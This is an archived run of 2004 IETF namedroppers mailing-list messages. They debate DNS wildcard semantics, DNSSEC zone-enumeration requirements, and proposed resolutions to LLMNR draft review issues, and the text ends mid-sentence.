>That is, we're searching example.com for 'x', not found, search example.com >for the '*' wildcard - found, that then matches the "q.x" part of the query, >and we look no more. Yeah. Maybe I misunderstood the previous "in this message" comment. >It is most certainly not the case that the existence of (just) a.*.example.com >in a zone makes a lookup of a.x.example.com succeed, but one of >b.x.example.com fail - if x.example.com matches the wildcard at all >(there is no x.example.com in the zone) then a query for any sub-domain of >x.example.com also matches the wildcard (the same wildcard). There >is no way to limit that. In my world, a.*.example.com wouldn't match a.x.example.com, *.example.com is the match. Same for b.x.example.com - it is matched by *.example.com because there is no x.example.com. If I ask for (x.example.com, A) I get an answer of "1.1.1.1", so there is an answer for the name, but it doesn't exist explicitly. Maybe there's the conundrum. In this instance I have an answer for a name that does not block wild card matching. "x.example.com" returns data (A) but does not stand in the way of b.x.example.com and *.example.com. Without DNSSEC, this could be terribly confusing to the astute resolver. My interest in this topic is more than academic (not that you are insinuating I'm being academic). When I sat in on MARID in May, they wanted to be able to have a record like: _marid.*.example.com. (ref: http://www.imc.org/ietf-mxcomp/mail-archive/msg01597.html) The options are to stand aside and let this be, create the notion of an illegal name, or to muffle the synthesis rules if *.<anydomain> has a (non-empty) subdomain itself. >Third part ... > >If we do a query for a.*.example.com we end up searching example.com for '*' >not as a wildcard, but as a label, in this case we find it, just as a label, >and go on to look for the sub-domain of *.example.com that we're querying >('a') in this case, in exactly the same manner that we would if the '*' >was replaced (in both the query and the zone) by 'z'. Here, if >a.*.example.com exists in the zone, then it matches the query, and the >results are returned. If there's no a.*.example.com in the zone file, >then we do a wildcard lookup (look for a '*' inside the *.example.com domain) >and if that one exists, it provides the answers. If it doesn't, NXDOMAIN. > > >All this stuff is really amazingly simple if you consider the name space as a >tree, and always think of it that way, and then obey the 1034 lookup >algorithm. >It is only when you start to concentrate on zone file formats, and textual >representations, that things start to look more complex and messy. So >don't do that. That's what I've been saying about wild cards for some time. "They aren't confusing, they're just misunderstood." >Fourth part ... > >No-one can really count upon any of the implementations actually >implementing all of these corner cases correctly (and certainly not >all of them). So, for all practical purposes anything except a solitary >'*' as the leftmost label in a name loaded into a zone file is simply >going to produce random undefined results, and no-one should be doing >such a thing (but that people shouldn't do it doesn't mean that the >implementations should attempt to enforce that restriction). The >best thing is to simply consider all this as "undefined behaviour". The effort is to get everyone to interoperate on this. We want to stomp on corner cases that have gone haywire. If not for just academic purity, but to be able to explain to groups like the MARID WG why "_marid.*.example.com" doesn't behave as they think it does. -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: more wild cards Date: Thu, 02 Sep 2004 21:29:10 +0700 Lines: 156 Sender: owner-namedroppers@ops.ietf.org References: <a06020401bd5c29d82510@[192.168.1.100]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 16:54:51 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net> In-Reply-To: <a06020401bd5c29d82510@[192.168.1.100]> Precedence: bulk Date: Wed, 1 Sep 2004 21:48:42 -0400 From: Edward Lewis <edlewis@arin.net> Message-ID: <a06020401bd5c29d82510@[192.168.1.100]> | I've been looking at the text as it stands and the minutes of the | meeting in Minneapolis. Besides the name question - | | 1) * SOA. The text goes to great lengths to say that this is doable | in one sense, but in another sense it's stupid. I.e., Step 2 of the | algorithm in RFC 1034 (sect 4.3.2) says "pick the zone". If you can | generate zones on the fly, you do it here. | | The problem is, you really can't. | | Let's say you have example.com and *.example.com on the server. I | ask for www.cnn.example.com. In step 2, you can't just generate | cnn.example.com - because you don't know if there's an NS RR set for | cnn.exmample.com in example.com. I.e., you'd have to do step 2, then | step 3. If in step 3 you'd decide to send a referral, you would then | have to go back to step 2 and generate. | | Now, I realize that the algorithm is a suggestion, that the | sequential nature of step 2 and step 3 isn't strict - but I don't | think the intent was to do step 2 - 3 - 2 (again) - 3 (again). I follow your reasoning, but I don't think I agree with this result. Once again you're confusing the zone name tree, with the lookup algorithm. There is nothing at all wrong with '*' as a domain name, and queries for names with '*' as one of the labels work (or should work) just fine. Given this, there's also no reason why '*' cannot be delegated to a different (or the same) server(s), in which case it needs an SOA record, just like any other delegated domain. Then there's the separate question, that of the lookup algorithm, and whether or not this particular '*' ever plays any role in lookups as a wildcard. Here we need to investigate what happens when we do a lookup, if we have '*' as a delegated sub-domain (which it must be to have an SOA record). This one is pretty simple, 4.3.3,. which explains wildcards, says quite clearly Wildcard RRs do not apply: - When the query is in another zone. That is, if we're searching example.com for x.example.com, and there is no x.example.com we cannot go through a delegation point to find a wildcard there, so the delegated *.example.com domain is simply a (perfectly valid) domain, and has nothing whatever to do with wildcards. If there's a SOA for *.example.com, then '*' must be delegated, hence it cannot possibly be relevant to the lookup algorithm as a wildcard. | I'm suggesting that we declare a * SOA to be an load/update error. No, you shouldn't do that. There's nothing invalid or illegal about it. This stuff all gets confused whenever anyone starts talking about dynamic zone creation. Certainly a server could implement a method of dynamically creating zones on the fly (when a query for one is made, or whenever else it wanted to), but there is absolutely nothing in 1034/1035 (or anywhere else) that provides any support for such a mechanism. Certainly wildcards cannot make it work. | 2) * NS. The text talks around this too, with the discussion being | rather vague. But at the end of the meeting I recall someone say: | | "You have to be authoritative for the data to synthesize records, and if you | see * NS, you are not in the authoritative zone." | | I forget who said it, it isn't in the minutes, but I think that's a | sharp observation. (I didn't see it, and I have been staring at wild | cards for some time now.) All this is true. You can't go through delegation points with wildcards. But a '* NS' record is still perfectly valid, that's the only way that we can delegate the '*' domain, which is a perfectly valid name. Once again, separate out the DNS tree, from everything else, and examine the algorithms as specified in 1034 carefully, you'll see that there's absolutely nothing preventing a query containing '*' as a name, and no reason at all that name can't literally match a '*' in a zone. For this purpose the '*' is identical to any other label. So | I'm suggesting that * NS be a load/update error. once again, no, you cannot do that. But just as in the case of the SOA record, if you examine the algorithm as it is specified in 1034, you'll see that unless we're doing a NS lookup, a '* NS' name can never be found. There's absolutely nothing in the algorithm that supports treating a '*' there as a wildcard (well, you could treat it as a wildcard when doing an A (etc) lookup, but the NS record, which is all that can exist - anything else goes in the auth data, isn't an A record, so no data would ever be found - the NS records for '*' can never appear as a delegation point for any query name other than '*', you don't even have to read the algorithm all that clearly to see that. There is no wildcard lookup part in the referral algorithm. If we are doing an NS lookup, for x,example.com and an '* NS' record exists, then that record matches as a wildcard, and the NS records are (should be) returned. That's no different than a lookup for an A record when '* A' exists (and the actual query name does not). Note that this doesn't have any effect upon normal name lookups, which don't (or shouldn't) be doing queries with qtype=NS - those queries are reserved for diagnostics. NS records are an internal DNS artifact, and have no business being used by anyone else. Were there to be a resolver which (incorrectly) iteratively descended the DNS tree by asking for NS records all the way down the name, one label at a time (wouldn't work in many cases, but ...) then what that broken resolver would discover would just be a lame delegation. It would seem that x.example.com had been delegated to the servers listed in the '* NS' record, but there would in fact almost certainly be no such zone at those servers. (I suppose the delegated servers might happen to have it - but most likely only for delegations that used to exist in the past but haven't been cleaned up yet). No normal lookup would ever locate it. There is no need to make anything here illegal, or cause zone load failures. All that is necessary is to explain how the various possible records apply to the lookup algorithm, which is the only context in which the word "wildcard" makes any sense in the DNS algorithms. | 3) * CNAME. From memory, we wanted to alter the algorithm to make | this "chaseable" in the answer generation. I'm going to recover the | text on this and put it in. As I recall the latest draft (and in that I include both the latest posted draft, and the half complete next version I returned to you), the text that changed the spec for this purpose was still there. This one is clearly a change to the algorithm, but one that is in accordance with the principle of least surprise, so it is not an unreasonable change. | There's a blurb about fixing DNAME, I'll do that. I thought that the "fixing DNAME" was going to be punted into a revision of the DNAME specification, if/when one ever appears. That, or the "DNAME is just a CNAME generator" text which is already there was supposed to be going to be enough for DNAME, wasn't it? kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: more wild cards Date: Thu, 2 Sep 2004 11:08:25 -0400 Lines: 149 Sender: owner-namedroppers@ops.ietf.org References: <a06020401bd5c29d82510@[192.168.1.100]> <27579.1094135350@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 17:21:32 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <27579.1094135350@munnari.OZ.AU> To: Robert Elz <kre@munnari.OZ.AU> Precedence: bulk At 21:29 +0700 9/2/04, Robert Elz wrote: > Date: Wed, 1 Sep 2004 21:48:42 -0400 > From: Edward Lewis <edlewis@arin.net> > Message-ID: <a06020401bd5c29d82510@[192.168.1.100]> > > >I follow your reasoning, but I don't think I agree with this result. > >Once again you're confusing the zone name tree, with the lookup algorithm. No - I'm bouncing one idea off the other. > | I'm suggesting that we declare a * SOA to be an load/update error. > >No, you shouldn't do that. There's nothing invalid or illegal about it. We restrict names that have CNAME to be exclusively that ('cept for DNSSEC records) and then just one CNAME RR. We restrict some name to have just 1 SOA RR. There's nothing in the current specifications that prevent "* NS" now. The WG seems to be moving towards formalizing the prevention. As the former author of this document (pre-WG status), I refrained from changing anything other than the definition of "existence." As editor, I'm reflecting what the WG wants - putting forth "suggestions" as to what I think the group is saying. I'm taking Robert's "you" to mean the WG, not myself. Looking at the discussion - I see a swell of support for formally banning the holding of NS and SOA at the * label. As much as I can rationalize, leaving them legal does no harm in the sense that the protocol isn't harmed. But, by leaving them legal we open up the documents to widely speculative interpretations (such as what happened in MARID regarding internal wild cards) and we create gray areas and corner cases. But, on the third hand, by banning things - we create more rules that need to be enforced in software by "fully compliant" implementations. Finally - every restriction placed lowers the degrees of freedom we have. We need to balance between an amorphous free-flowing protocol and a tightly-defined protocol. It's easier to extend an amorphous entity, but it's easier to know you've extend correctly a tightly-defined entity. > >This stuff all gets confused whenever anyone starts talking about dynamic >zone creation. Certainly a server could implement a method of >dynamically creating zones on the fly (when a query for one is made, or >whenever else it wanted to), but there is absolutely nothing in 1034/1035 >(or anywhere else) that provides any support for such a mechanism. >Certainly wildcards cannot make it work. Exactly what I've discovered in my research. And, because of your last line, I think the WG wants to see the ban on * SOA and *NS in place. To make it clear to newcomers to "don't go there." > | 2) * NS. The text talks around this too, with the discussion being > | rather vague. But at the end of the meeting I recall someone say: > | > | "You have to be authoritative for the data to synthesize >records, and if you > | see * NS, you are not in the authoritative zone." > | > | I forget who said it, it isn't in the minutes, but I think that's a > | sharp observation. (I didn't see it, and I have been staring at wild > | cards for some time now.) > >All this is true. You can't go through delegation points with wildcards. >But a '* NS' record is still perfectly valid, that's the only way that we >can delegate the '*' domain, which is a perfectly valid name. > >Once again, separate out the DNS tree, from everything else, and examine >the algorithms as specified in 1034 carefully, you'll see that there's >absolutely nothing preventing a query containing '*' as a name, and no >reason at all that name can't literally match a '*' in a zone. For this >purpose the '*' is identical to any other label. Nothing preventing, yes, but no benefit either. >So > > | I'm suggesting that * NS be a load/update error. > >once again, no, you cannot do that. Look at what we did for the DS RR set. We changed the data lookup algorithm to make the answer come from the parent. Here, we can say "the answer to a * NS query is noerror/nodata." We can most easily enforce this by refusing to allow "*NS" into the server. That's better than putting in other road blocks. Let's say we discover that there's a use for "* NS". New server implementations can come out then, allowing it - without having to wait for resolvers to catch up. That's why barring something at load makes sense (to me) in this case. I really think that when it comes to securing critical infrastructure like DNS, we want to clamp down on it's looseness with out making it brittle. That's one rationale for the clarifications. (The original motivation was to stop the need for NXT "optimization" based on incomplete knowledge of the DNS. We almost did unnecessary surgery to solve a problem that didn't really exist.) I do share the concern that laying down "rules" is dangerous for future growth. And I am well aware that refraining from barring these records is would only prevent stupid behavior - like preventing folks from swimming with dangerous tides in the ocean. But, the case is being made that we want the DNS to be much more clear, understandable to folks that coming to the table later in the development of the Internet. >There is no need to make anything here illegal, or cause zone load failures. >All that is necessary is to explain how the various possible records apply >to the lookup algorithm, which is the only context in which the word >"wildcard" makes any sense in the DNS algorithms. When I talked to MARID in May, at their interim meeting, they did not want an engineering discussion of DNS, they wanted "can/can't". They did not wish to engage in a discussion of the internals of DNS and name space search theory. After all, they have other fish to fry, very understandable. In either case, I found it fruitless to try to explain why internal wild cards did not do what they thought they did - some insisted that the name is legal, therefore useful. > > | There's a blurb about fixing DNAME, I'll do that. > >I thought that the "fixing DNAME" was going to be punted into a >revision of the DNAME specification, if/when one ever appears. >That, or the "DNAME is just a CNAME generator" text which is already >there was supposed to be going to be enough for DNAME, wasn't it? I hadn't gotten that far as yet... -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: Zone enumeration, requirements, and security redux Date: Thu, 2 Sep 2004 11:47:13 -0400 Lines: 68 Sender: owner-namedroppers@ops.ietf.org References: <4E25ECBBC03F874CBAD03399254ADFDE1052D2@US-Columbia-CIST.mail.saic.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 18:09:29 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <4E25ECBBC03F874CBAD03399254ADFDE1052D2@US-Columbia-CIST.mail.saic.com> To: "Loomis, Rip" <GILBERT.R.LOOMIS@saic.com> Precedence: bulk At 9:57 -0400 9/2/04, Loomis, Rip wrote: >Comments on the above, and *any last requirements* >requested. These are derived from what I've mentioned in the past. (It's hard to know what's meant by "last" in any last requirements without seeing the list. So to be on the safe side...) [Find] a way to prove the non-existence of a name without - exposing any of the contents of the zone - muddying up the name space with fake names or data sets - on-line cryptographic operations - being vulnerable to replay attacks of the negative answer - incompatible changes with NSEC ...that's a bit strongly worded. Of course, you pretty much have to break one of them to continue onward. E.g., NSEC breaks #1. Here's another... Find a way to deny the existence of a DS RR set, when appropriate. (I.e., if the decision is to make auth denial optional, DNSSEC is toast unless you still account for saying "security stops" here.) I'll add one more observation. In the reverse map name space, zone enumeration is not something we can fight. There's more to this though. Many folks on this list are familiar with the Shared Registry Model that is in use by some of the ICANN-somethinged zones. (.com/.net/.biz/.org/etc.) In the model, there is just one registry (organization) that is producing the zone. Because the reverse map space predates the RIR system, the RIR's have to co-manage zones. Kind of like a shared *registry* model, with multiple writers to a zone. This makes operations a lot more complicated, especially when the different registries are globally dispersed. Combining the futility of stopping zone enumeration in the in-addr.arpa and ip6.arpa with the extra complication of multiple management of some of the reverse map zones, I'd encourage any alternative to the NSEC proposal be - different only transparently to the resolver/validator - intended to coexist with NSEC for a long time - not require any undo operations effort on those content with NSEC E.g., I can't see the four established and one emerging RIR having to manage all of the on-line keys needed to support the on-line approaches, no matter how true to the protocol the on-line signing approaches are. It could be done, but quite a lot of work for nearly/absolutely no gain. Perhaps - my requirements here aren't yes/no, but rather criteria (graded). -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Simon Josefsson <jas@extundo.com> Subject: Re: Zone enumeration, requirements, and security redux Date: Thu, 02 Sep 2004 18:31:41 +0200 Lines: 27 Sender: owner-namedroppers@ops.ietf.org References: <4E25ECBBC03F874CBAD03399254ADFDE1052D2@US-Columbia-CIST.mail.saic.com> <a06020408bd5ceb3f61d0@[192.168.1.100]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 18:43:46 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Injected-Via-Gmane: http://gmane.org/ To: namedroppers@ops.ietf.org Lines: 20 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c494102a.s-bi.bostream.se User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3.50 (gnu/linux) Cancel-Lock: sha1:V7hUEz5pXYwEDjIym2MnbwxZCWk= Precedence: bulk Edward Lewis <edlewis@arin.net> writes: > [Find] a way to prove the non-existence of a name without ... > - muddying up the name space with fake names or data sets What does this mean? The simplest explanation is perhaps an example of a solution that wouldn't fulfill the requirement. The reason I ask is that some users may find it useful to fill up the name space with fake names, when adding NSECbis records. The reason for doing so would be to make it more difficult to find (arbitrarily precise) zone size estimates. All NSEC replacement proposals so far are vulnerable to remote zone size estimates, and DNS without DNSSEC is not. See section 3 of http://www.links.org/dnssec/requirements.txt Thanks, Simon -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Paul Vixie <vixie@vix.com> Subject: Re: dictionary attack on nameservers Date: 02 Sep 2004 17:25:39 +0000 Lines: 37 Sender: owner-namedroppers@ops.ietf.org References: <20040728190530.GA22758@atoom.net> <ch44lt$1ro$1@sf1.isc.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 19:37:58 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org In-Reply-To: <ch44lt$1ro$1@sf1.isc.org> Lines: 31 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 Precedence: bulk "Olaf M. Kolkman" <olaf@ripe.net> writes: > I want to close this thread by giving every participant the > opportunity to state their concluding argument in not more than 20 > lines of text. > ... > I am trying to get something sensible out of this that will allow us to > go forward or, if needed, conclude, in a decent fashion. 1: my observations are: 2: 3: - non-registry (SLD, et al) zone administrators are already 4: hiding their sensitive DNS data, if any, behind split views 5: 6: - registry (mostly TLD) zone administrators have a competitive 7: interest in name secrecy not shared by registrars/registrants 8: 9: - load increases due to more difficult enumeration will be felt 10: by enumeration victims and third parties, not just attackers 11: 12: my recommendations are: 13: 14: + ensure that NSEC is capable of covering a single name, so that 15: a zone can use precomputed positive signatures and on-the-fly 16: negative signatures, and let motivated/interested zone 17: administrators add name secrecy by provisioning extra hardware. 18: 19: + consider other, more compact encodings for nonexistence-proof, 20: which are easier to generate on-the-fly than single-name NSEC. -- Paul Vixie -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Bernard Aboba <aboba@internaut.com> Subject: LLMNR Issue 67 (AD Review): Editorial issues Date: Thu, 2 Sep 2004 10:37:05 -0700 (PDT) Lines: 93 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 19:51:09 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org Precedence: bulk The list of current LLMNR issues and resolution is available here: http://www.drizzle.com/~aboba/DNSEXT/llmnrissues.html The text of Issue 67 is enclosed below. The proposed resolution is as follows: In Section 1 change: " In the future, it may be desirable to consider use of multicast name resolution with multicast scopes beyond the link-scope. This could occur if LLMNR deployment is successful, the need arises for multicast name resolution beyond the link-scope, or multicast routing becomes ubiquitous. For example, expanded support for multicast name resolution might be required for mobile ad-hoc networking scenarios, or where no DNS server is available that is authoritative for the names of local hosts, and can support dynamic DNS, such as in wireless hotspots." To: "In the future, it may be desirable to consider use of multicast name resolution with multicast scopes beyond the link-scope. This could occur if LLMNR deployment is successful, the need arises for multicast name resolution beyond the link-scope, or multicast routing becomes ubiquitous. For example, expanded support for multicast name resolution might be required for mobile ad-hoc networks. " Accept all the other editorial modifications. ---------------------------------------------------------------------------- Issue 67: Editorial Issues Submitter: Thomas Narten Submitter email address: narten@us.ibm.com Date first submitted: August 27, 2004 Reference: Document: LLMNR-34 Comment type: E Priority: S Section: Various Rationale/Explanation of issue: > becomes ubiquitous. For example, expanded support for multicast name > resolution might be required for mobile ad-hoc networking scenarios, > or where no DNS server is available that is authoritative for the > names of local hosts, and can support dynamic DNS, such as in > wireless hotspots. reword? sentence is hard to parse (especially last part). > by an LLMNR responder. If the TC bit is set an LLMNR response, s/an/in an/ > (e.g. A, AAAA, SRV, etc.) to the link-scope multicast address. s/e.g./e.g.,/ > Upon configuring an IP address responders typically will synthesize s/address/address,/ > 6.0.5.0.4.0.E.F.F.F.3.0.2.0.1.0.0.0.0.0.0.0.0.0.8.b.d.0.1.0.0.2. > ip6.arpa IN PTR host1. > IN PTR host1.example.com. Text should somehow indicate that the above is one line that had to be split for formatting reasons... > For UDP queries and responses the Hop Limit field in the IPv6 header, s/responses/responses,/ and drop the last , ?? > The responder should use a pre-configured TTL value in the records > returned an LLMNR response. A default value of 30 seconds is s/an/in an/? > The responder should use a pre-configured TTL value in the records > returned an LLMNR response. A default value of 30 seconds is s/use a/insert a/ ?? -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Bernard Aboba <aboba@internaut.com> Subject: LLMNR Issue 68 (AD Review): Caching Date: Thu, 2 Sep 2004 10:39:10 -0700 (PDT) Lines: 70 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 19:52:22 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org Precedence: bulk The list of current LLMNR issues and resolutions is found here: http://www.drizzle.com/~aboba/DNSEXT/llmnrissues.html The text of Issue 68 is found below. The proposed resolution is as follows: In Section 2.3, Change: "Responders MUST NOT respond using cached data." To: "Responders MUST NOT respond using data from the LLMNR or DNS resolver cache." In Section 4, delete: " Where a host is configured to issue LLMNR queries on more than one interface, each interface should have its own independent LLMNR cache. " Add the following to Section 4.1: " Where a host is configured to issue LLMNR queries on more than one interface, each interface maintains its own independent LLMNR resolver cache, containing the responses to LLMNR queries." ---------------------------------------------------------------------- Issue 68: Caching Submitter: Thomas Narten Submitter email address: narten@us.ibm.com Date first submitted: August 27, 2004 Reference: Document: LLMNR-34 Comment type: T Priority: S Section: Various Rationale/Explanation of issue: > [e] Responders MUST NOT respond using cached data. add something like "learned from other LLMNR queries" (or DNS queries, etc....) > Where a host is configured to issue LLMNR queries on more than one > interface, each interface should have its own independent LLMNR > cache. what exactly is in such a cache? > [f] If a DNS server is running on a host that supports LLMNR, the DNS > server MUST respond to LLMNR queries only for the RRSets relating > to the host on which the server is running, but MUST NOT respond > for other records for which the server is authoritative. DNS > servers also MUST NOT send LLMNR queries in order to resolve DNS > queries. Might be better to say something like "if the same process/application implements both LLMNR and DNS (e.g., for code sharing purposes), .... the must keep things logically separate". -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Bernard Aboba <aboba@internaut.com> Subject: LLMNR Issue 69 (AD Review): On-Link Date: Thu, 2 Sep 2004 10:42:16 -0700 (PDT) Lines: 97 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 19:55:37 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org Precedence: bulk The list of current LLMNR issues and resolutions is found here: http://www.drizzle.com/~aboba/DNSEXT/llmnrissues.html The text of Issue 69 is enclosed below. DISCUSSION Other than in the definition in Section 1.2, the term "reachable" is only used once in the document, in Section 2.6 (Responder responsibilities): [b] If an IPv4 address is returned, it MUST be reachable through the link over which LLMNR is used. Here the issue is whether a responder may return a particular IPv4 address in a response. For that purpose it is not relevant whether an ARP or NS/ND cache entry exists for that address on the sender or responder. It is only relevant whether the responder would respond to an ARP or ND query for that address on the interface over which the LLMNR query arrived. PROPOSED RESOLUTION The proposed resolution is as follows: In Section 1.2, change: Reachable An address is considered reachable over a link if either an ARP or neighbor discovery cache entry exists for the address on the link. To: Reachable An LLMNR responder considers one of its addresses reachable over a link if it will respond to an ARP or Neighbor Discovery query for that address sent over the link. In Section 2.5, change: " For IPv4, an "on link" address is defined as a link-local address [IPv4Link] or an address whose prefix belongs to a subnet on the local link. For IPv6 [RFC2460] an "on link" address is either a link-local address, defined in [RFC2373], or an address whose prefix belongs to a subnet on the local link." To: " For IPv4, an "on link" address is defined as a link-local address [IPv4Link] or an address whose prefix belongs to a subnet on the local link. For IPv6 [RFC2460] an "on link" address is either a link-local address, defined in [RFC2373], or one belonging to a prefix that a Router Advertisement indicates is on-link [RFC2461]." Add a normative reference to [RFC2461]: Narten, T., Nordmark, E. and W. Simpson, "Neighbor Discovery for IP Version 6 (IPv6), RFC 2461, December 1998. ------------------------------------------------------------------------ Issue 69: On-Link Submitter: Thomas Narten Submitter email address: narten@us.ibm.com Date first submitted: August 27, 2004 Reference: Document: LLMNR-34 Comment type: T Priority: S Section: Various Rationale/Explanation of issue: > Reachable > An address is considered reachable over a link if either an ARP or > neighbor discovery cache entry exists for the address on the link. funny definition, since an ARP/ND entry might exists but be very old. > For IPv4, an "on link" address is defined as a link-local address > [IPv4Link] or an address whose prefix belongs to a subnet on the > local link. For IPv6 [RFC2460] an "on link" address is either a > link-local address, defined in [RFC2373], or an address whose prefix > belongs to a subnet on the local link. Actually 2461 has a very specific definition of on-link. It's one where the RA says the prefix is "on link". This may in some cases be different than what is stated above. There maybe a subtle limitation here. 2461 allows routers to say "nothing is on link, send it to me", even if it then forwards stuff back onto the same link. This feature is not being used today, but might be used in the future. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Bernard Aboba <aboba@internaut.com> Subject: LLMNR Issue 70 (AD Review): Uniqueness Date: Thu, 2 Sep 2004 10:44:15 -0700 (PDT) Lines: 170 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 20:00:55 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org Precedence: bulk The list of current LLMNR Issues and resolutions is available here: http://www.drizzle.com/~aboba/DNSEXT/llmnrissues.html The text of Issue 70 is enclosed below. The proposed resolution is as follows: In Section 2.2, add: " The sender MUST anticipate receiving multiple replies to the same LLMNR query, in the event that several LLMNR enabled computers receive the query and respond with valid answers. When multiple valid answers are received, they may first be concatenated, and then treated in the same manner that multiple RRs received from the same DNS server would; the sender perceives no inherent conflict in the receipt of multiple responses." Add the following definition to Section 1.2: UNIQUE There are some scenarios when multiple responders may respond to the same query. There are other scenarios when only one responder may respond to a query. Resource records for which only a single responder is anticipated are referred to as UNIQUE. Resource record uniqueness is configured on the responder, and therefore uniqueness verification is the responder's responsibility. Replace Section 4 with the following: "4. Conflict resolution The uniqueness of a resource record depends on a nature of the name in the query and type of the query. For example it is expected that: - multiple hosts may respond to a query for an SRV type record - multiple hosts may respond to a query for an A or AAAA type record for a cluster name (assigned to multiple hosts in the cluster) - only a single host may respond to a query for an A or AAAA type record for a name. By default, a responder SHOULD be configured to behave as though all RRs are UNIQUE on each interface on which LLMNR is enabled. Prior to including a UNIQUE resource record in a response, for each UNIQUE resource record in a given interface's configuration, the host MUST verify that there is no other host within the scope of LLMNR query propagation that can return a resource record for the same name, type and class on that interface. Once a responder has verified the uniqueness of a UNIQUE resource record, if it receives an LLMNR query for that resource record, it MUST respond. To verify uniqueness, a responder MUST send an LLMNR query for each UNIQUE resource record. If no response is received after a suitable number of attempts (see Section 2.7), the responder can use the UNIQUE resource record in response to LLMNR queries. If a response is received, the responder MUST check whether the response arrived on an interface different from the one on which the query was sent. If the response arrives on a different interface, the responder can use the UNIQUE resource record in response to LLMNR queries. If not, then it MUST NOT use the UNIQUE resource record in response to LLMNR queries. Uniqueness verification is carried out when the host: - starts up or is rebooted - wakes from sleep (if the network interface was inactive during sleep) - is configured to respond to LLMNR queries on an interface enabled for transmission and reception of IP traffic - is configured to respond to LLMNR queries using additional UNIQUE resource records - verifies the acquisition of a new IP 